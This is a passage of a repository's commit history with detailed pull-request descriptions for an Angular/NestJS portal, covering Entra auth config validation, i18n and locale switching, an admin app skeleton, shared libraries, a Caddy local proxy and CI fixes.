- **[`apps/portal-bff/src/config/check-entra-config.ts`](apps/portal-bff/src/config/check-entra-config.ts)** — boot-time validator mirroring `check-database-url.ts`. Verifies every required key is present, the instance URL is `https://` and ends with `/`, tenant + client IDs are UUIDs, none of them are the literal placeholder values from `.env.example`, and the two redirect URIs parse as URLs. Returns a typed `EntraConfig` object with a pre-computed `authority` field (`${instanceUrl}${tenantId}`) so the future MSAL factory does not re-derive it.

- **[`auth.module.ts`](apps/portal-bff/src/auth/auth.module.ts)** — `AuthModule` whose v1 surface is one provider: the parsed `EntraConfig` keyed by the `ENTRA_CONFIG` injection token. Factory delegates to `assertEntraConfig()`. Non-global on purpose — consumers state intent by importing the module.

- **Bootstrap wiring** — `main.ts` calls `assertEntraConfig()` alongside `assertDatabaseUrl()` so misconfiguration fails fast at boot rather than mid-request (per ADR-0018 §"BFF env-var loading"). `AppModule` imports `AuthModule`.

## Naming choice

Chose `ENTRA_*` rather than `AZURE_AD_*` to align with the ADR text (Microsoft Entra ID, post-2023 rebrand). The values you copy from the Entra app-registration UI go into `apps/portal-bff/.env` (git-ignored).

## Decisions worth flagging

- **Validator called twice** — once in `main.ts` (boot-time fail-fast) and once in the `AuthModule` factory (to obtain the value for DI). Both reads are idempotent and trivially cheap. The duplication is intentional: boot-time gives a clear, pre-NestFactory error; the factory call surfaces the typed value to consumers.
- **No `@azure/msal-node` dependency added yet** — introducing the dep without a consumer would be a smell. Lands in the next PR alongside the MSAL client factory.
- **Pre-computed `authority`** in the parsed config rather than letting each MSAL consumer concatenate `instanceUrl + tenantId`. One place to change if the multi-tenant authority (`/organizations`, `/common`) replaces the tenant-scoped one when External ID activates.

## Verification

- `nx run-many -t lint test build --projects=portal-bff` — green.
- **29 / 29 specs** (was 20; +9 from the new entra-config spec + auth.module spec).
- Boot smoke test (manual): with the placeholder values in `.env.example`, `nx serve portal-bff` aborts immediately with `ENTRA_CLIENT_ID is still the .env.example placeholder (…)`. With real values in a local `.env`, the BFF starts normally.

## Test plan

- [x] Lint + test + build green.
- [x] Validator unit-test covers happy path + every documented failure mode.
- [ ] Manual: drop the real Entra values you obtained into `apps/portal-bff/.env`, `nx serve portal-bff` boots clean.
- [ ] Manual: temporarily blank out one of the four `ENTRA_*` keys → BFF aborts at boot with a clear message naming the missing key.

## Next PRs on the auth track

1. Install `@azure/msal-node`, add the `MsalConfidentialClient` factory provider in `AuthModule`, expose it via DI.
2. First OIDC routes: `/api/auth/login` (PKCE-initiated redirect to Entra) + `/api/auth/callback` (token exchange + ID-token validation, audit-logged, no session persistence yet).
3. Session persistence per ADR-0010 (Redis + AES-GCM, `__Host-portal_session` cookie). Closes the auth loop.
4. RP-initiated logout, CSRF protection, route guards.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #102
2026-05-12 02:27:55 +02:00
julien cb69a692e7 chore(ts): drop deprecated baseUrl from tsconfig.base.json (#101)
CI / scan (push) Successful in 2m46s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m45s
CI / a11y (push) Successful in 1m22s
CI / perf (push) Successful in 3m13s
## Summary

Remove the deprecated `baseUrl: "."` from [`tsconfig.base.json`](tsconfig.base.json). TypeScript 5.x flags it as deprecated; it stops functioning in TS 7.0. Since TS 5.0, `paths` keys are resolved relative to the tsconfig file where they are declared when `baseUrl` is absent — and the repo root is exactly what `baseUrl: "."` was pointing at.

## Why this is a no-op

Our `paths` entries already start with `./libs/shared/.../src/index.ts` (relative to the repo root, which is `tsconfig.base.json`'s directory). With or without `baseUrl: "."`, the resolver lands on the same files. No other tsconfig in the workspace declares `baseUrl` (only `tsconfig.base.json` did), and the only path imports across the codebase are the workspace aliases (`shared-ui`, `shared-state`, `shared-tokens`, `shared-util`, `feature-auth`).

`rootDir: "."` stays — it is independent of the deprecation and removing it would change `dist/` layout semantics across the workspace. Revisit only if a future TS version flags it.

## Verification

`pnpm exec nx run-many -t lint test build --projects=portal-shell,portal-admin,shared-ui,shared-state,shared-tokens,shared-util` — green across 6 projects.

The IDE deprecation warning is gone.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #101
2026-05-12 02:06:23 +02:00
julien d962be838a feat(portal-admin): skeleton app per ADR-0020 (#100)
CI / check (push) Successful in 2m49s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m32s
CI / a11y (push) Successful in 1m26s
CI / perf (push) Successful in 4m17s
## Summary

First step of the admin track per ADR-0020. Scaffold the second Angular SPA in the workspace alongside `portal-shell`, with the architectural decisions from the v1 ADRs already wired so subsequent feature PRs can drop straight into modules.

## What lands

- **App generated** via `nx g @nx/angular:application` (with the matching e2e project skeleton). Standalone, zoneless-ready, prefix `app`, scss component styles, css root stylesheet, no SSR.
- **Tags** `scope:portal-admin, type:app` — module-boundary lint now treats `portal-admin` distinctly from `portal-shell` and lets it depend only on `scope:portal-admin` + `scope:shared` libs.
- **Tailwind v4 + brand tokens**: `.postcssrc.json`, `@import 'tailwindcss'`, class-based dark variant, and `@import '../../../libs/shared/tokens/src/brand-tokens.css'` — identical visual baseline to portal-shell.
- **i18n config mirrors portal-shell** (per ADR-0019): sourceLocale `en`, target `fr`, baseHref `/{locale}/` per locale, `@angular/localize/init` polyfill, `localize: ["en", "fr"]` on production, `i18nMissingTranslation: "error"` so CI blocks any PR that adds a marker without translating it. Seed [`messages.fr.xlf`](apps/portal-admin/src/locale/messages.fr.xlf) carries the four marked strings used today.
- **Budgets** relaxed to **500 KB gzip initial** per ADR-0020 §"Performance budgets" (vs 300 KB for portal-shell).
- **Skeleton home page** at `/` — `<h1>` + intro paragraph + "Skeleton — coming soon" chip in the brand-accent palette. All marked for i18n.
- **Skip-link landmark** (WCAG 2.4.1) with the same component-scoped scss as portal-shell.
- **Wildcard catch-all route** → bounces unknown paths to home (same defensive pattern as PR #96 on portal-shell).
- **Dev server on port 4300** (vs 4200 for portal-shell) — both can run in parallel.
- **`serve-static` target without `spa: true`** — locale-prefixed routing in production is handled by the reverse proxy (per ADR-0019), same as portal-shell since PR #92.

## CLAUDE.md

Picked up the second app in the **Naming** entry and the **Commands** snippet (`<app>` is now one of `portal-shell`, `portal-admin`, `portal-bff`).

## Verification

- `pnpm exec nx run-many -t lint test build --projects=portal-shell,portal-admin,shared-ui,shared-state,shared-tokens` — green.
- `portal-admin` test: 1 spec (skip-link + main landmark present).
- Production build of `portal-admin`: **62 KB gzip initial per locale** (vs 500 KB budget — plenty of headroom for the upcoming modules).
- Both `dist/apps/portal-admin/browser/{en,fr}/` emit with the right `<html lang>` and `<base href>`. FR bundle contains `"Administration"` / `"Squelette"` / `"bientôt disponible"` — translations applied.
- portal-shell production build unchanged.

## Out of scope (each its own follow-up PR)

- Admin app shell (header / sidebar / footer with "Admin" badge — likely sharing graduated primitives plus admin-specific bits).
- OpenTelemetry tracing setup (`service.name=portal-admin` per ADR-0012).
- `environment.ts` wiring (per ADR-0018) for admin-specific endpoints.
- BFF `AdminModule` + `AdminRoleGuard` + smoke `/api/admin/me` (per ADR-0020 §"Auth").
- First functional module — CMS / menu / users / audit viewer.

## Test plan

- [x] Lint + test + build green across the workspace.
- [x] Per-locale production build emits both folders with correct metadata.
- [ ] Manual: `pnpm exec nx serve portal-admin` boots on `:4300`, smoke page renders.
- [ ] Manual: prod build + `pnpm exec nx run portal-admin:serve-static` → `http://localhost:4300/en/` and `/fr/` show the placeholder with the matching language.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #100
2026-05-12 01:49:19 +02:00
julien 8329fa133d refactor(libs): graduate Icon / LayoutStateService / brand tokens to libs/shared/* (#99)
CI / check (push) Successful in 3m34s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m16s
CI / a11y (push) Successful in 2m3s
CI / perf (push) Successful in 3m34s
## Summary

Per ADR-0020 §"Shared-libs graduation": the three primitives that `portal-shell` (today) and `portal-admin` (next) will both share move out of `apps/portal-shell/src/` and into the workspace libs. Mechanical move — no behaviour change, prepares the ground for the admin-app PR.

## Graduated

| Primitive | Old location | New location |
|---|---|---|
| `Icon` component (+ `IconName` type) | `apps/portal-shell/src/app/components/icon/` | [`libs/shared/ui/src/lib/icon/`](libs/shared/ui/src/lib/icon/) |
| `LayoutStateService` (+ `ThemeMode` type) | `apps/portal-shell/src/app/state/` | [`libs/shared/state/src/lib/`](libs/shared/state/src/lib/) |
| Brand-palette `@theme` block | `apps/portal-shell/src/styles.css` | [`libs/shared/tokens/src/brand-tokens.css`](libs/shared/tokens/src/brand-tokens.css) |

## Notable changes

- **Icon selector renamed `app-icon` → `lib-icon`.** Required by the lib's ESLint `@angular-eslint/component-selector` rule (prefix `lib` for shared libs). All ~20 usages in `portal-shell` templates updated in one sweep.
- **New `shared-state` library** generated via `nx g @nx/angular:library libs/shared/state`. Mirrors the existing `feature-auth` / `shared-ui` shape (vite + Angular + spec setup). `tsconfig.base.json` path alias `shared-state` added by the generator.
- **Lib tags rebalanced** to satisfy the module-boundary lint rule:
  - `shared-state`: new lib → `scope:shared, type:shared`.
  - `shared-ui`: was `scope:portal-shell` (scaffold default) → `scope:shared, type:shared`.
- **`shared-tokens` is now CSS-only.** The placeholder TS function is gone; `index.ts` is an empty `export {}` with a TODO note. Vitest config flips `passWithNoTests: true` so the test target stops failing on the empty lib.
- **`portal-shell`'s `styles.css`** drops the inline `@theme {}` block and instead `@import`s `../../../libs/shared/tokens/src/brand-tokens.css`. Both apps will read the same source.
- Placeholder scaffolded files in `shared-ui/src/lib/shared-ui/` removed.

## Verification

- `nx run-many -t lint test build` across `portal-shell, shared-ui, shared-state, shared-tokens` — green.
- Tests redistributed: **portal-shell 28**, **shared-state 9**, **shared-ui 3**, **shared-tokens 0** = 40 total (same as before the move).
- Production build: **128.7 KB gzip** initial per locale (was 128.5 KB on `main` — noise-level delta).
- Brand-color CSS variables (`--color-brand-primary-500: #12546c`, …) still inlined in the produced `styles-*.css`.
- `dist/.../browser/{en,fr}/` emitted as expected.

## What this PR explicitly does NOT do

- Move other components (Header, Sidebar, Footer, ThemeSwitcher, LocaleSwitcher). Those are app-specific shell concerns; if `portal-admin` ends up needing them, they graduate in their own PR.
- Set up `portal-admin`. That's the next PR on the admin track — and now imports from `shared-ui` / `shared-state` / `shared-tokens` will Just Work.
- Refactor `feature-auth`'s tagging. It still says `scope:portal-shell`; revisit when the auth implementation actually lands and the dual-audience design (per ADR-0008) makes the right scope obvious.

## Test plan

- [x] Per-project run-many — green.
- [x] Production build emits both locales with brand tokens applied.
- [ ] Manual: `pnpm exec nx serve portal-shell` — the dev experience is unchanged.
- [ ] Manual: serve-static + locale switcher / theme switcher / sidebar collapse / navigation — all the behaviours the moved primitives drive still work in production.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #99
2026-05-12 01:17:30 +02:00
julien 99522540a5 feat(portal-shell): ci gate — fail prod build on missing translations (#98)
CI / check (push) Successful in 2m54s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m16s
CI / a11y (push) Successful in 1m24s
CI / perf (push) Successful in 4m3s
## Summary

Set `"i18nMissingTranslation": "error"` on the production build configuration in [`apps/portal-shell/project.json`](apps/portal-shell/project.json). The Angular CLI checks every `<source>` extracted from `i18n` markers and `$localize` calls against the loaded translation file (`messages.fr.xlf`); with the flag on `error`, the build now **fails** when a target is missing instead of silently falling back to the source text in the FR bundle.

Closes the loop on ADR-0019 §"Confirmation" — the final piece of the i18n track that does not depend on the BFF route + cookie work (deferred to the auth-flow chantier).

## Gate mechanics

- `pnpm ci:check` runs `nx affected -t ... build`, which uses the production configuration by default. A PR that adds an `i18n` marker without updating `messages.fr.xlf` fails its build job → merge blocked.
- The default build configuration is unchanged (`production`), so no other CI plumbing is needed.

## Verification

Locally, temporarily inserting an unmarked-in-fr string:

```html
<span i18n="@@sanity.test.missingTranslation">A string with no FR translation</span>
```

then running `pnpm exec nx build portal-shell --configuration=production` produces:

```
ERROR: No translation found for "sanity.test.missingTranslation"
       ("A string with no FR translation").
Application bundle generation failed.
NX   Running target build for project portal-shell failed
```

…with a non-zero exit code. The patch was reverted before commit.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (40 / 40 specs, build still passes on the current state).
- [x] Sanity-check that the gate actually fires when a translation is missing (above).
- [ ] CI: the next PR that adds an `i18n` marker without updating `messages.fr.xlf` should fail at the `build` step with the explicit error.

## What this PR explicitly does NOT do

- Catch **unmarked** source strings (e.g. a developer who forgets to add `i18n="@@..."` to a new template line). That would need a custom ESLint rule against the Angular template AST — a separate, smaller scope mentioned in ADR-0019 as a future refinement.
- Localise editorial / CMS content. Editorial copy comes from the BFF already localised; this gate covers only the developer-owned UI strings baked at build time.
- Add a similar gate to the i18n extraction (we could fail the build if `nx extract-i18n` produces diffs against the committed `messages.xlf`, but we don't commit `messages.xlf` today).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #98
2026-05-12 00:30:27 +02:00
julien fe180fd125 feat(infra): local serve-static profile — Caddy reverse proxy for the prod build (#97)
CI / check (push) Successful in 2m29s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m9s
CI / a11y (push) Successful in 1m35s
CI / perf (push) Successful in 4m16s
## Summary

Add a Caddy reverse proxy behind a new `--profile serve-static` so a contributor can exercise the production build locally with the per-locale routing the on-prem reverse proxy will use (per ADR-0019). Closes the gap surfaced by PR #96: the locale switcher / accessibility route fusion / cookie plumbing all need a prod-faithful local setup, and `nx serve-static` falls short (no SPA fallback per locale, no smart `/` redirect, exposes the `http-server` directory-listing footgun we hit during the perf-gate fix in PR #92).

## What lands

- **[`infra/local/Caddyfile`](infra/local/Caddyfile)** — explicit `route` block:
  - `GET /` → 302 to `/{locale}/` based on `Accept-Language`, falling back to `/fr/` (APF audience).
  - `/fr/*` → `dist/.../browser/fr/` with SPA fallback to `fr/index.html`.
  - `/en/*` → mirror.
  - Catch-all → 302 to `/fr/`.
- **[`infra/local/dev.compose.yml`](infra/local/dev.compose.yml)** — new `serve-static` service on the `serve-static` profile. Bind-mounts the Caddyfile and `dist/apps/portal-shell/browser/` read-only. Port 4200, overridable via `SERVE_STATIC_PORT`.
- **[`infra/local/.env.example`](infra/local/.env.example)** — adds `SERVE_STATIC_PORT=4200`.
- **[`infra/local/dev.sh`](infra/local/dev.sh)** — registers `serve-static` in `ALL_PROFILES` so `dev.sh down|status|logs` catches the new container, and `dev.sh up serve-static` works.
- **[`infra/README.md`](infra/README.md)** — file row, workflow snippet, cheat-sheet row, and a service-endpoint row with the `nx build … -c=production` prerequisite called out.

## Workflow

```
pnpm exec nx build portal-shell --configuration=production
./infra/local/dev.sh up serve-static
open http://localhost:4200/   # → /fr/ or /en/ per Accept-Language
```

## Decision worth flagging

Used **Caddy** rather than nginx or Traefik. Reason: minimal Caddyfile, single binary, no daemon config drift, sensible defaults (TLS off explicitly for local-only). Same family of choice as the rest of `infra/local/` — small, single-purpose images.

`redir` in a Caddyfile is **ambiguous** when the first arg starts with `/`: Caddy reads it as a path matcher rather than a redirect target. Using `redir * /fr/ 302` (explicit `*` matcher) avoids the gotcha. Documented inline in the Caddyfile via a comment block.

## What this PR explicitly does NOT do

- Wire TLS. Local convenience only, binds to `localhost`.
- Replace `nx run portal-shell:serve-static` (still used by Lighthouse CI in `ci:perf`).
- Set the `__Host-portal_locale` cookie or honour it for the smart redirect. Cookie handling needs the BFF route (ADR-0019 future PR).
- Land an on-prem reverse-proxy ADR. The on-prem infra ADR is phase 3b.

## Verified locally

| Probe | Expected | Actual |
|---|---|---|
| `GET / -H 'Accept-Language: fr'` | 302 `/fr/` | ✓ |
| `GET / -H 'Accept-Language: en'` | 302 `/en/` | ✓ |
| `GET /unknown` | 302 `/fr/` | ✓ |
| `GET /fr/deep/route` | 200 (SPA fallback to `fr/index.html`) | ✓ |
| `GET /fr/favicons/favicon.svg` | 200 (asset under locale folder) | ✓ |
| `/fr/index.html` markup | `lang="fr"`, `<base href="/fr/">` | ✓ |
| `/en/index.html` markup | `lang="en"`, `<base href="/en/">` | ✓ |

## Test plan

- [x] `docker compose -f infra/local/dev.compose.yml --profile serve-static config` validates clean.
- [x] `dev.sh up serve-static` brings the container up; `dev.sh status` lists it; `dev.sh stop serve-static` brings it down.
- [x] Routing probes above all pass.
- [ ] Manual: build + serve-static + click the locale switcher → URL becomes `/{other-locale}/`, the matching bundle boots, no console errors. (Verifies PR #95 + #96 end-to-end against a prod-faithful proxy.)
- [ ] Manual: `/fr/accessibilite` → router-level redirect to `/fr/accessibility` (verifies PR #94 under SPA fallback).
- [ ] Manual: `Accept-Language: en` in browser settings → root URL lands on `/en/`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #97
2026-05-12 00:06:33 +02:00
julien d118d09aba fix(portal-shell): catch-all route prevents NG04002 on /fr in dev mode (#96)
CI / check (push) Successful in 2m44s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m39s
CI / a11y (push) Successful in 1m48s
CI / perf (push) Successful in 4m3s
## Reproducer

1. `pnpm exec nx serve portal-shell` (source-locale dev server, no `--localize`).
2. Open `http://localhost:4200/`, the EN home page renders.
3. Click the locale switcher's **Français** entry in the footer.

Browser navigates to `/fr/`. The Angular CLI dev server applies its SPA fallback and serves the same source `index.html`. The source bundle boots with `<base href="/">`, the router tries to match the URL `/fr/`, finds no route, and rejects the bootstrap promise:

```
ERROR RuntimeError: NG04002: Cannot match any routes. URL Segment: 'fr'
```

## Fix

Add a `{ path: '**', redirectTo: '' }` catch-all to [`app.routes.ts`](apps/portal-shell/src/app/app.routes.ts). Unknown paths now bounce to home gracefully.

## Why this doesn't break production

Production builds with `--localize` emit one bundle per locale, each with its own `<base href="/{locale}/">`. The router never sees the locale segment — `/fr/foo` is normalised to `foo` before route matching, hitting the bundle's `foo` route. The wildcard only fires when **no** declared route matches, which is exactly what we want for genuine 404 paths in either mode.

## What this does NOT fix

The locale switcher's underlying dev-mode limitation stands: under `nx serve` there is no per-locale bundle, so switching to FR from dev mode can only land back on the source-locale bundle. The fix turns the ugly bootstrap error into a silent bounce to home, so the dev iteration is no longer interrupted — but full locale switching still requires the production build (`nx run portal-shell:serve-static` or a real deploy). This matches the limitation already documented in PR #95.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (40 / 40 specs unchanged).
- [ ] Manual `nx serve` + click Français → URL becomes `/fr/`, page bounces back to `/` with no console error.
- [ ] Manual prod build + serve-static, `/fr/` → loads FR bundle as before, no regression.
- [ ] Manual prod build + serve-static, `/fr/does-not-exist` → router-level 404 catch redirects to `/fr/` (home), no NG04002.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #96
2026-05-11 22:12:24 +02:00
julien 192cc483b6 feat(portal-shell): locale switcher in the footer (#95)
CI / scan (push) Successful in 2m4s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m15s
CI / a11y (push) Successful in 1m47s
CI / perf (push) Successful in 3m40s
## Summary

Add a locale switcher (FR / EN) to the footer's right cluster, next to the accessibility link. Closes the user-facing i18n loop — the FR bundle has existed since the sweep PR but had no in-app entry point until now.

The switcher reads the active locale from `<html lang>` (set per locale by the build), shows the native name + a globe + chevron-down chip, and on selection rewrites the URL prefix (`/en/...` ↔ `/fr/...`) and hard-refreshes so the right bundle boots — per ADR-0019.

## Architecture

Same pattern as the theme switcher:

- **`@angular/cdk/menu`** for the trigger + roving-focus menu + escape / click-outside dismissal.
- **`ViewEncapsulation.None`** because the menu opens in an overlay portal outside the component host — BEM-style class names (`.locale-switcher__*`) keep the global emissions contained.
- Each menu item carries `[attr.lang]="locale.code"` so screen readers pronounce the native names correctly.

## Decisions worth flagging

- **Locale display names ("Français", "English") are NOT i18n-marked.** Universal switcher convention: each language is always shown in its own language. Translating them would defeat the purpose for someone trying to switch *away* from the active locale they can't read.
- **No backend, no cookie, no smart `/` redirect — yet.** The URL prefix is the source of truth in v1: the next visit lands on the same locale because the URL says so. The `__Host-portal_locale` cookie + the BFF route at `/api/preferences/locale` + the smart `/` redirect described in ADR-0019 wait for the auth flow to bring the BFF online.
- **Dev-mode limitation, accepted.** Under `nx serve`, the dev server has no locale prefix in the URL — clicking the trigger lands on a non-existent path. The switcher works against the production build (`nx run portal-shell:serve-static` or any real deploy). This matches ADR-0019: dev = source locale, locale switching is a built-bundle concern.
- **Touch target.** Visible height stays at ~28 px to fit the 40 px footer; vertical padding extends the tap area to **44 px**, meeting the ADR-0016 AAA minimum without inflating the footer.

## Translation choices

Two new i18n keys:

| Key | Source (EN) | Target (FR) |
|---|---|---|
| `@@locale.trigger.aria` | `Language: <name> (change language)` | `Langue : <name> (changer de langue)` |
| `@@locale.menu.aria` | `Language` | `Langue` |

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green. **40 / 40 specs** (+5: four new for `LocaleSwitcher`, one for the footer embedding).
- [x] Production build emits both locales; spot-checked the FR bundle for "Langue", "changer de langue", and the absence of "Language:" leakage.
- [ ] Manual: build prod + serve-static → on `/en/`, click switcher → lands on `/fr/`; widget shows "Français"; reload stays in FR.
- [ ] Manual: keyboard the trigger → ENTER opens, arrows navigate, ENTER selects, ESC closes; focus returns to trigger on close.
- [ ] Manual: screen reader announces both languages with the right pronunciation (`<button lang="fr">Français</button>` is announced with the FR voice).
- [ ] Manual: query/hash preserved across switch (`/en/accessibility?foo=bar` → `/fr/accessibility?foo=bar`).

## What this PR explicitly does NOT do

- BFF route `/api/preferences/locale` + `__Host-portal_locale` cookie.
- Smart `/` redirect (cookie → Accept-Language → fr) — that's reverse-proxy / BFF work.
- CI gate on missing translations.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #95
2026-05-11 20:48:27 +02:00
julien 8f84cc6389 feat(portal-shell): collapse accessibility routes into one i18n-marked route (#94)
CI / check (push) Successful in 4m0s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m56s
CI / a11y (push) Successful in 2m6s
CI / perf (push) Successful in 3m50s
## Summary

Continue ADR-0019: replace the `/accessibility` + `/accessibilite` twin routes with a single canonical route whose content is i18n-marked in the template. The per-locale build (en/fr) already inlines the right copy — the route-data + `copy()` service indirection is no longer carrying its weight.

## What changes

- **`AccessibilityStatement`** loses its `ActivatedRoute` injection, the `Lang` discriminator, and the `COPY` lookup table. The component is now a plain shell over the template.
- **`accessibility.html`** carries the title + intro + status panel as `i18n="@@page.accessibility.*"` markers. Six new trans-units in [`messages.fr.xlf`](apps/portal-shell/src/locale/messages.fr.xlf) provide the French copy — verbatim from the old `COPY.fr` block, so the page reads the same in FR as before.
- **`app.routes.ts`** declares the single canonical route at `path: 'accessibility'` and keeps `/accessibilite` alive as a `redirectTo: 'accessibility'`. Drops `data: { lang: ... }` — no longer consumed.
- **`footer.html`** collapses the dual link into one i18n-marked link (`@@footer.accessibilityLink`). EN bundle reads "Accessibility statement"; FR bundle reads "Déclaration d'accessibilité".

## Decision worth flagging

The path stays in English across both locales for now: `/en/accessibility` and `/fr/accessibility`. Translating route *segments* (`/fr/declaration-d-accessibilite`) needs either a custom URL serializer or per-locale route trees — not worth the complexity at this scale. The page title and the link label already differ per locale via i18n, which is what's actually visible to users.

The historical `/accessibilite` path keeps working via the route-level redirect. Drops out of the codebase once analytics confirm no traffic reaches it.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green. **35 / 35 specs** (was 36; the obsolete `lang`-fallback test is removed).
- [x] Production build emits both locales. FR bundle contains `Statut`, `Déclaration`, the FR intro / panel bodies. No leftover English on swept strings.
- [x] `extract-i18n` clean (49 unique units now: +5 for `page.accessibility.*` + `footer.accessibilityLink`, −0; the old route-data `lang` markers were not i18n).
- [ ] Manual: serve-static then `/en/accessibility` and `/fr/accessibility` render their respective content; `/fr/accessibilite` 301-redirects to `/fr/accessibility`.
- [ ] Manual: footer shows one link, locale-aware ("Accessibility statement" / "Déclaration d'accessibilité").
- [ ] Manual: browser tab title flips between bundles ("Accessibility statement · APF Portal" / "Déclaration d'accessibilité · Portail APF").

## What this PR explicitly does NOT do

- Translate the URL path segment (next ADR-only refinement if needed).
- Add the locale switcher in the footer — that's the next PR on the i18n track.
- Wire a CI gate on missing translations.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #94
2026-05-11 20:18:28 +02:00
julien 65fae7f963 feat(portal-shell): i18n string sweep — mark UI strings + FR translations (#93)
CI / check (push) Successful in 3m20s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m45s
CI / a11y (push) Successful in 1m37s
CI / perf (push) Successful in 3m11s
## Summary

Continue ADR-0019 implementation. Mark every UI string surfaced by the shell with `i18n="@@id"` (templates) or `$localize` (TypeScript), and populate [`messages.fr.xlf`](apps/portal-shell/src/locale/messages.fr.xlf) with French translations. The production build now ships **two genuinely different bundles** under `dist/.../{en,fr}/`.

**43 trans-units** marked, grouped by feature:

| Surface | Strings |
|---|---|
| `app.html` | skip-link |
| `header.html` | wordmark, search label + placeholder, action button aria-labels, user-menu placeholder |
| `sidebar.ts` + `.html` | menu groups + items, aside / nav aria-labels, role badge, toggle button (Expand / Collapse aria + Collapse text) |
| `theme-switcher.ts` + `.html` | mode labels, menu aria, trigger aria (`Theme: <mode> (open menu)` with named placeholder) |
| `footer.html` | aria-labels, copyright (interpolation preserved) |
| `home.html` | welcome heading + intro + status widget labels |
| `app.routes.ts` | browser tab titles |

## Tooling

- Add `"@angular/localize"` to the `types` array in both [`tsconfig.app.json`](apps/portal-shell/tsconfig.app.json) and [`tsconfig.spec.json`](apps/portal-shell/tsconfig.spec.json) so TypeScript resolves the `$localize` global at compile time. Specs need it too — they evaluate the same component code paths.
- Extraction target (`nx run portal-shell:extract-i18n`) reports **44 messages** (43 unique IDs).

## Translation choices worth flagging

- **Wordmark**: "APF Portal" → "Portail APF". Same key used for the `/` browser tab title. The PWA manifest (`site.webmanifest`) stays "APF Portal" — manifest values are not bundled, they sit in the static assets and are language-neutral in v1.
- **System theme mode** → "Système".
- **"Anonymous"** role → "Anonyme"; **"Role:"** → **"Rôle :"** (French uses a non-breaking space before the colon — typographic convention, preserved in the XLIFF target).
- **Accessibility links in the footer stay bilingual.** Each carries its own `lang` attribute (`lang="en"` and `lang="fr"`). The dual-link pattern goes away in the upcoming route-fusion PR; until then it's the most honest stopgap.
- **Both accessibility routes share one title key** (`@@route.accessibility.title`). In the EN bundle, both display "Accessibility statement · APF Portal"; in the FR bundle, both display "Déclaration d'accessibilité · Portail APF". After route fusion only one route remains.

## Verification

- Production build: **129 kB gzip initial per locale** (vs 122 kB before). +7 kB absorbs the i18n marker metadata and the embedded translation data in the FR bundle. Well under the 300 KB budget.
- Spot-checked the FR bundle: no leftover English source text on any swept string, route title, or home page intro. The `Welcome to APF Portal` in the lazy `home` chunk shows "Bienvenue sur Portail APF" in FR.
- **36 / 36 specs unchanged.** They run in the source locale (`en`), so the English assertions still match. No spec edits needed.
- Lint clean.

## Out of scope (each its own follow-up PR)

- **Locale switcher in the footer** + `__Host-portal_locale` cookie + smart `/` redirect.
- **Collapse `/accessibility` + `/accessibilite`** into one localised route with locale-translated path segments.
- **CI gate** that fails the build on a missing translation. Once the sweep is reviewed, we add `nx build --localize` to `ci:check` and verify it rejects unsealed strings.
- **Accessibility page content localisation.** Its content is driven by a `copy()` service rather than i18n-marked templates — restructured during the route fusion.

## Test plan

- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (36 / 36 specs).
- [x] `pnpm exec nx run portal-shell:extract-i18n` — clean, 43 unique unit IDs.
- [x] Production build emits both locales; FR bundle contains "Tableau de bord", "Aller au contenu principal", etc.
- [ ] Manual: `pnpm exec nx serve portal-shell` shows the EN source. `pnpm exec nx build portal-shell --configuration=production && pnpm exec nx run portal-shell:serve-static` → open `http://localhost:4200/fr/` for FR, `/en/` for EN.
- [ ] Manual: every aria-label announced by a screen reader in FR build matches the French translation.
- [ ] Manual: browser tab title flips between bundles ("APF Portal" vs "Portail APF").

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #93
2026-05-11 19:54:43 +02:00
julien 04675b1b59 fix(ci): perf job — point Lighthouse at /fr/ and /en/, drop spa fallback (#92)
CI / check (push) Successful in 2m56s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m23s
CI / a11y (push) Successful in 1m34s
CI / perf (push) Successful in 3m51s
## Summary

The previous PR (#91) enabled `--localize` on the production build, so the output layout became `dist/apps/portal-shell/browser/{en,fr}/` with **no top-level `index.html`**. The `perf` CI job broke in two places downstream:

1. **`nx run portal-shell:serve-static`** had `spa: true`. The `@nx/web:file-server` executor reads that as "copy `<staticFilePath>/index.html` to `404.html` for SPA fallback". The source file no longer exists, so the executor crashed with `ENOENT … copyfile … index.html` before opening the port. lhci then failed its healthcheck and exited 1.
2. **`lighthouserc.js`** was hitting `http://localhost:4200/`, which now lands on `http-server`'s directory listing (no index.html at that path). Even if the server had started, the audit would have measured the wrong page.

## What changes

- **Drop `spa: true`** from the `serve-static` target in [`apps/portal-shell/project.json`](apps/portal-shell/project.json). Deep-link fallback in production is the reverse proxy's job (it routes `/{en,fr}/anything` to the matching `index.html`); `nx serve-static` is only used here for the perf gate and for local prod-build inspection of entry points. For deep-link testing in dev, `nx serve` is the right tool.
- **Update [`lighthouserc.js`](lighthouserc.js)** `url` list to `['http://localhost:4200/fr/', 'http://localhost:4200/en/']`, matching the directive in ADR-0019 that both locales clear the same performance bar.

## Verification

Local repro (against the merged plumbing PR's build):

```
$ pnpm exec nx run portal-shell:serve-static
